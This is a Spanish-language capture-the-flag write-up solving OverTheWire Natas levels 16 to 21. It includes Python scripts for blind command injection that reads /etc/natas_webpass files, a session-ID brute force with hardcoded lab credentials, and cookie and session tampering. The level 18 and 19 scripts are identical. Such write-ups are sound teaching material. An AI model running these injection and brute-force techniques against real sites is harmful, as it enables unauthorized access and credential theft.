
En este artículo, trataremos el funcionamiento de algunas identidades WEB utilizando el juego de guerra
Natas como ejemplo. Cada nivel tiene acceso a la contraseña del siguiente nivel. Todas las contraseñas también se almacenan en los archivos / etc / natas_webpass /. Por ejemplo, la contraseña para natas5 se almacena en el archivo / etc / natas_webpass / natas5 y es de solo lectura para los usuarios natas4 y natas5.
Partes pasadas:
parte 1 y
parte 2 .
Información organizacionalEspecialmente para aquellos que desean aprender algo nuevo y desarrollarse en cualquiera de las áreas de información y seguridad informática, escribiré y hablaré sobre las siguientes categorías:
- PWN;
- criptografía (criptografía);
- tecnologías de red (Red);
- inversa (ingeniería inversa);
- esteganografía (Stegano);
- búsqueda y explotación de vulnerabilidades WEB.
Además de esto, compartiré mi experiencia en informática forense, análisis de malware y firmware, ataques a redes inalámbricas y redes de área local, realización de pentests y escritura de exploits.
Para que pueda conocer nuevos artículos, software y otra información, creé un
canal en Telegram y un
grupo para discutir cualquier problema en el campo de ICD. Además, consideraré personalmente sus solicitudes personales, preguntas, sugerencias y recomendaciones
personalmente y responderé a todos .
Toda la información se proporciona solo con fines educativos. El autor de este documento no tiene ninguna responsabilidad por los daños causados a alguien como resultado del uso del conocimiento y los métodos obtenidos como resultado de estudiar este documento.
nivel 16
A juzgar por el código fuente, todos los caracteres de servicio se filtran, y la transferencia de "pegado" desde dos archivos es imposible, ya que la cadena se transmite entre comillas.

Usando construcciones como $ (cmd) puede controlar la salida de "clave".

La idea es esta:
- Si la construcción grep -i "key" file.txt, key es una cadena vacía, se mostrará todo el archivo.
- Como solo hay una línea en el archivo con la contraseña, podemos controlar su salida.
- Al pasar la expresión regular a grep dentro de la construcción $ (cmd), generaremos una línea con una contraseña (cuando supongamos el comienzo de la contraseña) en el parámetro -i y no se generarán líneas desde dictionary.txt, o en lugar de una línea con la contraseña será una cadena vacía y se mostrará todo el archivo dictionary.txt.
import httplib import urllib import re import base64 charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" count = 0 headers = {} conn = httplib.HTTPConnection("natas16.natas.labs.overthewire.org") headers["Authorization"] = "Basic bmF0YXMxNjpXYUlIRWFjajYzd25OSUJST0hlcWkzcDl0MG01bmhtaA==" count = 0 passwd = "" while count != 32: for i in range(len(charset)): needle = urllib.quote_plus("$(grep -E ^" + passwd + charset[i] +".* /etc/natas_webpass/natas17)Afr") conn.request("GET", "/?needle=" + needle + "&submit=Search", "", headers) r1 = conn.getresponse() data = r1.read() if(data.count("African") == 0): passwd += charset[i:i+1] print(str(count) + " : " + str(passwd)) count += 1 break conn.close() print("Password : " + passwd)

Tengo una contraseña
nivel 17
Usamos sqlmap de acuerdo con el escenario anterior (de la segunda parte).



Hay una contraseña
nivel 18
Analicemos el código fuente.

El primer paso es verificar si las cookies están configuradas en el navegador. (Función my_session_start ()).

Dado que no hay nada para controlar las cookies en la tarea, entonces deben establecerse, es decir, la función devolverá false y en el código raíz iremos a la rama else. Verificando el llenado de los campos de nombre de usuario y contraseña. La función session_id () toma un número aleatorio en el rango de 1 a 640 (lo cual es muy extraño por qué tal restricción) y crea configuraciones de configuración para la función session_start ().


A continuación, el nombre de usuario == "admin" está marcado. Si iniciamos sesión como administrador, se nos informa sobre esto y se nos da una contraseña para el siguiente nivel.

Idea de solución: el rango de identificación se define para los usuarios. Escribiremos un archivo de fuerza bruta que irá a la página con una identificación en el rango de 1 a 640.
import requests from requests.auth import HTTPBasicAuth import binascii host = 'http://natas19.natas.labs.overthewire.org/' auth = HTTPBasicAuth('natas19', '4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs') params = {'username':'admin', 'password':'admin'} for i in range(0, 640): print(i) phpsessid = binascii.hexlify(str(i)+"-admin") cookies={'PHPSESSID':phpsessid} r = requests.get(host, params=params, cookies=cookies, auth=auth) if('Password' in r.content): print(r.content) break

Obtenemos la contraseña con id = 119.
nivel 19
Como el código es el mismo, la idea es la misma. Veamos la galleta.

Cadena hexadecimal codificada. Vamos a decodificar

Solo queda cambiar el código.
import requests from requests.auth import HTTPBasicAuth import binascii host = 'http://natas19.natas.labs.overthewire.org/' auth = HTTPBasicAuth('natas19', '4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs') params = {'username':'admin', 'password':'admin'} for i in range(0, 640): print(i) phpsessid = binascii.hexlify(str(i)+"-admin") cookies={'PHPSESSID':phpsessid} r = requests.get(host, params=params, cookies=cookies, auth=auth) if('Password' in r.content): print(r.content) break

Hay una contraseña
nivel 20
Después de analizar el código fuente, podemos suponer que 2 funciones merecen atención.
La función mywrite () escribe datos en cada línea como key_value. Pero la clave se selecciona aleatoriamente y el valor se transfiere desde el campo de entrada.

La función myread () pasa por todas las líneas y lee datos separados por espacios (clave y valor).

Solo veremos la contraseña si la línea "admin 1" aparece en dicho archivo. El hecho es que podemos pasar por alto la lógica de la aplicación y anotar tantas líneas como queramos. Para hacer esto, debemos enviar una línea de la forma "Value0_TranslationStrings_Key1_Value1, etc."

Después de que el valor se escribe en el archivo, volvemos a cargar la página para que se lea del archivo.

Le quitamos la contraseña.
nivel 21
Contamos con dos versiones del sitio. El hecho es que las cookies y la sesión están disponibles para transferir entre diferentes páginas en el mismo dominio. Estudiamos el código fuente del segundo sitio. Todos los parámetros aceptados se establecen en la sesión. Por analogía con los niveles anteriores, debe configurar admin => 1.

Simplemente agregue un nuevo parámetro de administrador con un valor de 1, vuelva a cargar la página y coloque estas cookies en la página principal.


Le quitamos la contraseña.
Continuará Puedes unirte a nosotros en
Telegram .